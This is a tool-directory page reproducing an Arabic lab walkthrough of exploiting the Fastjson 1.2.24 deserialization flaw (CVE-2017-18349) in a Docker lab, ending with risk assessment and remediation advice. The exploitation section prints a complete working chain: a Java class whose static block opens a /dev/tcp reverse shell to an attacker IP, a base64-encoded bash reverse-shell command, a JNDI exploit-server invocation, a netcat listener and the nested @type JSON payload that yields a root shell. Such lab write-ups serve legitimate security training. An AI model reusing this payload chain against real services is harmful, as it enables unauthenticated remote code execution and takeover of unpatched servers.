Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-18349 — دليل خطوة بخطوة لاستغلال ثغرة RCE في إلغاء تسلسل Fastjson (CVE-2017-18349)، مع تغطية تحديد سطح الهجوم، وبصمة النظام، وحقن JNDI، والحصول على قشرة عكسية في بيئة مختبر Docker. | Kitploit
أدوات/GitHubGitHub/dungsocool/cve-2017-18349
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولاتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubdungsocool/cve-2017-18349

CVE-2017-18349

دليل خطوة بخطوة لاستغلال ثغرة RCE في إلغاء تسلسل Fastjson (CVE-2017-18349)، مع تغطية تحديد سطح الهجوم، وبصمة النظام، وحقن JNDI، والحصول على قشرة عكسية في بيئة مختبر Docker.

5منذ 3 أشهرلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Lab 6-CVE-2017-18349

أولاً: تحليل النظام

تحديد سطح الهجوم

لنبدأ بمعرفة ما يعمل في البيئة. سأدرج جميع الحاويات النشطة:

root@kitploit:~
docker ps

image.png

الضحية يعرض منفذاً واحداً فقط: 8090

حالياً، لا أزال غير واضح تماماً بشأن الهدف. من نتائج docker ps، ينشر النظام خدمة واحدة ملحوظة فقط خارجياً على المنفذ 8090، وهي مرتبطة بالخدمة الداخلية للحاوية. هذا هو سطح الهجوم الرئيسي الذي يجب تحليله.

⇒ سأستخدم Curl مباشرة لاستكشاف المزيد من المعلومات

root@kitploit:~
curl -i 192.168.3.137:8090/

image.png

تحليل الاستجابة:

  • تحتوي الاستجابة على Content-Type: application/json;charset=UTF-8.
  • البيانات المرتجعة بتنسيق JSON: {"age": 25, "name": "Bob"}.
  • ⇒ تفكير: عند الوصول إلى المنفذ 8090، يعيد الخادم بيانات JSON. يشير هذا إلى أن نقطة النهاية لا تخدم مجرد صفحة ويب ثابتة، بل يوجد خلفية تقوم بمعالجة الطلبات وتسلسل البيانات إلى JSON لإعادتها إلى العميل. من نتائج docker ps، يظهر الأمر المُشغَّل داخل الحاوية مؤشرات على أنه تطبيق Java، لذا فإن الاتجاه التالي للفحص هو التعرف على محللات JSON الشائعة في Java.

    في Java، تتصرف مكتبات JSON الشهيرة مثل Jackson وGson وFastjson بشكل مختلف عند مواجهة مدخلات غير معتادة. لذلك، يمكننا استخدام تقنية التعرف على البصمات المبنية على الأخطاء (Error-based Fingerprinting). فالخطأ المرتجع قد يكشف أحياناً بشكل مباشر عن المكتبة أو آلية المعالجة الداخلية. ومن بينها، تُعد Fastjson هدفاً يحتاج إلى تحقق مبكر لأن الإصدارات القديمة كانت تحتوي على ثغرات حرجة متعددة تتعلق بإلغاء التسلسل AutoType Deserialization.

    هنا، لا أؤكد فوراً أن الخلفية تستخدم Fastjson. أختار Fastjson كأول اتجاه للفحص فقط لأنه يملك بصمة واضحة من خلال مفتاح @type، وإذا كان بالفعل إصداراً قديماً من Fastjson، فإن قدرة الاستغلال قد تتجاوز بكثير خطأ تحليل قياسي، وربما تصل إلى تنفيذ أوامر عن بُعد (RCE).

    التعرف على البصمة واستكشاف المكتبة

    يمتلك Fastjson خاصية مفيدة جداً للتعرف على البصمة: فهو يتعرف على مفتاح @type الخاص. إذا كانت الخلفية تستخدم Fastjson وكان نص الطلب المُرسل إلى عملية إلغاء التسلسل يدعم AutoType، فقد يحاول المحلل تفسير قيمة @type كاسم فئة Java.

    لذلك، أرسل حمولة تحتوي على @type يشير إلى فئة غير موجودة. الهدف من هذه الخطوة ليس الاستغلال الفوري، بل ملاحظة ما إذا كانت الخلفية تتفاعل مع @type.

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      -d '{"@type":"com.non.existent.Class"}' \
      http://192.168.3.137:8090/
    

    image.png

    إذا كانت الخلفية تستخدم محلل JSON قياسياً ولا تهتم بـ @type، فقد يتم تجاهل هذا الحقل أو معاملته كمفتاح عادي في JSON. لكن هنا، تتفاعل الخلفية بسلوك مرتبط بالنوع (type not match)، مما يعني أن الطلب دخل في سير عمل معالجة تعيين الفئات/الأنواع.

    رسالة "type not match" هي توقيع مميز غالباً ما يُصادف عندما يعالج Fastjson @type ولكن الفئة المحددة لا تتطابق مع نوع البيانات المتوقع من نقطة النهاية، أو أن الفئة غير موجودة/غير مسموح بإلغاء تسلسلها.

    ⇒ تفكير: الخلفية توزن بالفعل نص JSON لطلب POST، وحقل @type غير مُتجاهَل، والمحلل يمتلك آلية معالجة بيانات وصفية للأنواع، والخطأ المرتجع يطابق سلوك Alibaba Fastjson. لذلك يمكننا الاستنتاج بثقة عالية أن الخلفية تستخدم Alibaba Fastjson.**

    تحديد شروط الاستغلال

    بعد خطوة التعرف على البصمة، لا يمكنني الاستنتاج فوراً أن النظام قابل للاستغلال. استخدام الخلفية لـ Fastjson يثبت فقط أن طلب JSON يدخل في سير معالجة @type.

    لتنفيذ استغلال RCE، يجب التحقق من التالي:

    • هل إصدار Fastjson المستخدم قديم ومتأثر بثغرة AutoType Deserialization؟
    • هل يسمح JVM الخاص بالضحية لـ JNDI بتحميل الفئات عن بُعد؟
    • هل توجد فئة gadget مناسبة في classpath/JDK لتفعيل سلوك خطير؟

    ⇒ تفكير: خطأ type not match يُظهر أن الخلفية تتفاعل مع @type، لكن الحمولة الحالية تستخدم فقط فئة مزيفة لتفعيل خطأ. للاستغلال الفعلي، نحتاج إلى استبدال تلك الفئة المزيفة بفئة حقيقية موجودة في Java/JDK وقادرة على إنشاء سلوكيات صادرة مثل JNDI lookup.

    فحص إصدارات Fastjson و JVM

    لتحديد الإصدار، أفحص مباشرة داخل الحاوية/التطبيق.

    image.png

    بعد تحديد أن التطبيق مُعبأ كملف /usr/src/fastjsondemo.jar، أتابع بتحليل عميق لبنية هذه الحزمة للبحث عن مكتبة معالجة JSON. يكشف فحص بنية دليل BOOT-INF/lib/ عن الملف fastjson-1.2.24.jar (الشكل X).

    استخدام الإصدار 1.2.24 تحديداً — أول وأشهر إصدار متأثر بثغرة إلغاء التسلسل دون أي آليات دفاع autoType — يسمح لنا بتأكيد أن النظام معرض لثغرة CVE-2017-18349.

    العثور على fastjson-1.2.24.jar يؤكد أن التطبيق يستخدم إصداراً قديماً جداً من Fastjson، ينتمي إلى المجموعة المتأثرة بخلل AutoType Deserialization. في هذا الإصدار، لم تكن آلية التحكم في AutoType مشددة كما في الإصدارات اللاحقة، لذا فيما يتعلق بشروط المكتبة، فإن النظام قابل للاستغلال عبر فئات gadget مثل JdbcRowSetImpl.

    ومع ذلك، فإن قابلية الاستغلال الفعلية لا تزال تعتمد على كيفية استدعاء نقطة النهاية لـ Fastjson. إذا كان التطبيق يحلل JSON إلى فئة ثابتة، فإن وضع حمولة @type في الكائن الجذر قد يؤدي إلى خطأ "type not match". لذلك، بعد تحديد الإصدار، يجب مواصلة تحليل JVM وفئة gadget وسلوك استدعاء LDAP للتأكد مما إذا كانت سلسلة الاستغلال تصل فعلياً إلى JNDI lookup.

    تحليل الشروط للوصول إلى JNDI Lookup

    1. تحليل حواجز JVM

    بالإضافة إلى إصدار Fastjson، فإن إصدار Java هو أيضاً عامل حاسم. أفحص JVM داخل الحاوية:

    root@kitploit:~
    java -version
    

    image.png

    هذه معلومة حرجة لأن سلاسل استغلال Fastjson تعتمد عادةً على حقن JNDI (JNDI Injection). الإصدارات الأحدث من Java قامت بحظر تحميل الفئات من قواعد الأكواد الخارجية عبر LDAP/RMI افتراضياً. ومع ذلك، فإن Java 8u102 هو إصدار قديم لا يمتلك هذه الآليات الحاجبة بعد.

    لذلك، إذا تمكن المهاجم من تفعيل JNDI lookup، فإن JVM الخاص بالضحية لديه القدرة على تنزيل الفئة من خادم HTTP خارجي وتحميلها في بيئة التشغيل.

    تحليل فئة gadget JdbcRowSetImpl

    بعد تحديد Fastjson و JVM القديمين، الخطوة التالية هي العثور على فئة موجودة في JDK يمكنها إنتاج سلوك خطير عند إلغاء تسلسلها.

    com.sun.rowset.JdbcRowSetImpl هي فئة gadget مناسبة لأن هذه الفئة موجودة في JDK وتمتلك خاصية dataSourceName. عندما يتم تعيين dataSourceName بقيمة بصيغة عنوان LDAP URL، يمكن استغلال الكائن لتفعيل JNDI lookup صادر.

    ⇒ تفكير: لا أحتاج إلى رفع كود مباشرة إلى الخادم. بدلاً من ذلك، أستفيد من فئة موجودة داخل JVM لإجبار الضحية على الاتصال بخادم LDAP يتحكم فيه المهاجم.

    التحقق من سلسلة الاستغلال

    بعد تأسيس الشروط اللازمة المتعلقة بالمكتبة و JVM، أحتاج إلى التحقق مما إذا كانت الحمولة تجبر الضحية فعلياً على الاتصال خارجياً. هذه خطوة حرجة للتمييز بين:

    • نظام يحتوي على مكتبة/إصدار معرض للثغرة.
    • سلسلة استغلال فعلية يمكنها تفعيل JNDI lookup بنجاح.

    إذا استقبل خادم LDAP أو المستمع اتصالاً من الضحية، فهذا يثبت أن الحمولة وصلت بنجاح إلى خطوة JNDI lookup. إذا لم يكن هناك استدعاء عائد وأعاد الخادم type not match، فهذا يشير إلى أن الحمولة الحالية لا تتطابق مع سير إلغاء التسلسل في نقطة النهاية. في هذه الحالة، يجب تعديل الحمولة لتطابق بنية الكائن المحددة التي تحللها نقطة النهاية، أو استخدام تجاوزات/فئات gadget بديلة.

    خلاصة مرحلة التحليل

    من الخطوات أعلاه، يمكن تلخيص سلسلة شروط النظام على النحو التالي:

    • الخدمة على المنفذ 8090 هي خلفية تعالج JSON.
    • استجابة الخطأ مع @type تشير إلى أن الخلفية تعالج آلية البيانات الوصفية للأنواع، بما يطابق سلوك Fastjson.
    • الفحص داخل الحاوية يؤكد أن التطبيق يحزم مكتبة fastjson-1.2.24.jar.
    • Fastjson 1.2.24 ينتمي إلى مجموعة الإصدارات المتأثرة بـ CVE-2017-18349.
    • JVM الخاص بالضحية هو OpenJDK 1.8.0_102، إصدار قديم لا يحظر تحميل قواعد الأكواد عن بُعد عبر JNDI افتراضياً.
    • فئة com.sun.rowset.JdbcRowSetImpl موجودة في JDK ويمكن استغلالها لتفعيل JNDI lookup من خلال خاصية dataSourceName.

    ⇒ تفكير الاستغلال:

    لا أحتاج إلى إيجاد وظائف رفع ملفات أو كتابة ملفات مباشرة على الخادم. بدلاً من ذلك، أستفيد من سير إلغاء التسلسل في Fastjson لإجبار JVM على إنشاء كائن JdbcRowSetImpl. عندما يستقبل هذا الكائن dataSourceName بصيغة عنوان LDAP URL، سيقوم الضحية بتنفيذ JNDI lookup إلى الخادم الذي يتحكم فيه المهاجم. من هناك، يمكن للمهاجم توجيه JVM لتنزيل الفئة الخبيثة من خادم HTTP خارجي وتنفيذ الكود داخل تلك الفئة.

    لذلك، مسار الاستغلال المختار هو:

    root@kitploit:~
    Fastjson AutoType
    → JdbcRowSetImpl gadget
    → JNDI LDAP lookup
    → HTTP codebase containing Exploit.class
    → Reverse shell back to the attacker
    

    ثانياً: الاستغلال

    آلية الاستغلال

    root@kitploit:~
    text
    
    Connection received on 192.168.3.137 43928
    whoami
    root
    

    في Fastjson 1.2.24، فئة com.sun.rowset.JdbcRowSetImpl هي فئة gadget موجودة في classpath الخاص بـ JVM (تنتمي إلى المكتبة القياسية rt.jar). عندما يقوم Fastjson بإلغاء تسلسل سلسلة JSON تحتوي على @type يشير إلى هذه الفئة:

    1. يقوم Fastjson بإنشاء كائن JdbcRowSetImpl.
    2. يتم استدعاء مُعيِّن setDataSourceName() ← تعيين عنوان JNDI.
    3. يؤدي setDataSourceName() إلى تفعيل InitialContext.lookup(dataSourceName) داخلياً ← يحدث حقن JNDI بأكمله هنا، قبل أن تتاح الفرصة لتنفيذ setAutoCommit().
    4. يستعلم JNDI Lookup من خادم LDAP الخاص بالمهاجم ← استلام كائن Reference.
    5. يقوم JVM بتنزيل ملف Exploit.class من HTTP Codebase، وتحميله في الذاكرة ← تنفيذ كتلة static {}.

    كتابة كود الاستغلال في Java (Exploit.java)

    root@kitploit:~
    import java.io.IOException;
    public class Exploit {
        static {
            try {
                String[] cmd = {
                    "/bin/bash",
                    "-c",
                    "exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
                };
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

    الترجمة المتوافقة مع Java 8 وإعداد خادم HTTP Codebase

    نظراً لأن JVM الخاص بالضحية يعمل بـ Java 8u102، يجب تحديد الهدف على أنه Java 8 أثناء الترجمة. وإلا، سيرمي الضحية خطأ UnsupportedClassVersionError وستفشل سلسلة الهجوم بصمت. بعد ذلك، قم بإعداد خادم HTTP Codebase:

    root@kitploit:~
    javac -source 1.8 -target 1.8 Exploit.java
    python3 -m http.server 8000
    

    إعداد خادم استغلال JNDI باستخدام JNDI-Injection-Exploit

    نظراً لأن بيئة Kali تعمل بـ Java 25 — وهو إصدار أحدث من أن يُبنى به marshalsec — نستخدم الأداة البديلة JNDI-Injection-Exploit. أولاً، أنشئ حمولة الصدفة العكسية بتنسيق base64:

    root@kitploit:~
    echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
    

    شغّل خادم JNDI بالحمولة أعلاه:

    root@kitploit:~
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
      -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
      -A 192.168.3.114
    

    image.png

    تقوم الأداة تلقائياً بتوليد نقطة نهاية LDAP:

    root@kitploit:~
    ldap://192.168.3.114:1389/6bzjwg
    

    الاستماع وتفعيل سلسلة الهجوم

    افتح منفذ الاستماع للصدفة العكسية:

    root@kitploit:~
    nc -lvnp 4444
    

    نلاحظ أن وضع حمولة @type في الكائن الجذر يعيد خطأ type not match — لأن وحدة تحكم Spring Boot تقوم بتعيين JSON إلى نوع ثابت، لا يتطابق مع JdbcRowSetImpl على المستوى الجذر.

    تعديل الحمولة: قم بتغليف فئة gadget داخل حقل متداخل ("data":{...}) بحيث يعالج Fastjson الكائن المتداخل بشكل مستقل عن قيد النوع الخاص بوحدة التحكم:

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      -d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
      http://192.168.3.137:8090/
    

    نتائج الاستغلال

    image.png

    في خادم LDAP (marshalsec): تم تسجيل طلب استعلام JNDI ناجح من عنوان IP الخاص بالضحية وإعادة توجيهه إلى HTTP codebase.

    في خادم HTTP (Python): تم تسجيل طلب تنزيل ملف Exploit.class برمز حالة 200 OK من عنوان IP الخاص بالضحية، مما يثبت أن JVM قام بتحميل البايت كود بنجاح.

    في مستمع Netcat: تم إنشاء الجلسة التفاعلية بنجاح (صدفة عكسية):

    root@kitploit:~
    listening on [any] 4444 ...
    connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
    root@7308074af0ab:/# whoami
    root
    

    تم التحقق بنجاح من سلسلة الاستغلال الكاملة: من إرسال حمولة JSON ← JNDI lookup ← إحالة LDAP ← تحميل الفئة عن بُعد ← تنفيذ الكود في كتلة static {} ← إنشاء صدفة عكسية بصلاحيات root.

    ثالثاً: تقييم المخاطر والمعالجة

    تقييم المخاطر

    ثغرة تنفيذ الأوامر عن بُعد عبر إلغاء تسلسل Fastjson (CVE-2017-18349) على هذا النظام مصنفة عند أعلى مستوى خطورة:

    المعيارالتقييمالتفاصيل
    درجة CVSS9.8 (حرجة)مستوى خطر مرتفع للغاية — أقل من 10.0 المطلق فقط لأنه لا يتطلب وصولاً شبكياً خاصاً.
    المصادقةغير مطلوبةلا يحتاج المهاجم إلى أي حساب أو بيانات اعتماد لاستغلالها. أي شخص قادر على إرسال طلب HTTP يمكنه الهجوم.
    التعقيدمنخفض جداًيتطلب فقط إرسال طلب واحد HTTP POST يحتوي على حمولة JSON صالحة — لا حاجة لأدوات معقدة أو شروط خاصة.
    حماية JVMلا توجدلا يمتلك Java 8u102 آلية لحظر تحميل الفئات عن بُعد (trustURLCodebase مضبوط على true افتراضياً)، مما يسمح لسلسلة حقن JNDI ← تحميل الفئات عن بُعد بالعمل دون عوائق.
    الصلاحيات المكتسبةrootسيطرة كاملة على حاوية التطبيق بأعلى مستوى صلاحيات — قراءة/كتابة/حذف أي ملف، بما في ذلك /etc/shadow.
    الحركة الجانبيةعاليةمن الحاوية المخترقة، يمكن للمهاجم فحص الشبكة الداخلية (172.19.0.0/16) ومهاجمة حاويات أخرى في نفس شبكة Docker project1_default.

    توصيات المعالجة

    لحل هذه الثغرة بشكل كامل، يجب تنفيذ الإجراءات بالترتيب التالي حسب الأولوية:

    أولويات عاجلة (قصيرة المدى):

    1. ترقية Fastjson: قم بتحديث المكتبة إلى إصدار آمن (≥ 1.2.83). من الإصدار 1.2.25 فصاعداً، تم تعطيل ميزة autoType افتراضياً وإضافة آلية قائمة حظر صارمة — مما يزيل مباشرة ناقل الهجوم الخاص بـ CVE-2017-18349. أو فكر في الانتقال إلى مكتبة بديلة أفضل صيانة مثل Jackson أو Gson.
    2. ترقية JVM: قم بتحديث بيئة تشغيل Java إلى Java 8u191 على الأقل. من هذا الإصدار فصاعداً، يتم ضبط الخاصية com.sun.jndi.ldap.object.trustURLCodebase على false افتراضياً — مما يحظر تماماً قدرة JVM على تحميل الفئات تلقائياً عن بُعد عبر LDAP/RMI، ويكسر سلسلة حقن JNDI حتى لو كانت Fastjson لا تزال تحتوي على الثغرة.
    3. خفض صلاحيات التشغيل: لا تقم أبداً بتشغيل تطبيق الويب تحت مستخدم root. أنشئ مستخدماً مخصصاً (مثل app_user) بصلاحيات دنيا — حتى إذا حقق المهاجم تنفيذ أوامر عن بُعد، سيكون الضرر محصوراً ضمن نطاق صلاحيات ذلك المستخدم.

    أولويات عالية (طويلة المدى والدفاع العميق):

    1. تعطيل autoType: إذا كان الاحتفاظ بالإصدار القديم من Fastjson إلزامياً على المدى القصير، فعّل SafeMode في الكود المصدري لإيقاف تشغيل autoType تماماً:
    root@kitploit:~
    ParserConfig.getGlobalInstance().setSafeMode(true);
    

    أو أنشئ قائمة بيضاء صارمة تسمح فقط بإلغاء تسلسل الفئات المعتمدة.

    1. نشر WAF: قم بتكوين جدار حماية تطبيقات الويب لاكتشاف وحظر طلبات HTTP التي تحتوي على توقيعات استغلال Fastjson في نص JSON: @type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.
    2. تقييد شبكة الحاوية: قم بتكوين قواعد جدار الحماية لحظر قيام الحاوية ببدء اتصالات صادرة (حركة مرور صادرة) — لمنع الصدفات العكسية من الاتصال بالمهاجم وحظر استدعاءات JNDI إلى خوادم LDAP/RMI خارجية. في بيئة Docker، قم بتكوين قواعد -network و iptables المناسبة.
    تنزيل الأداة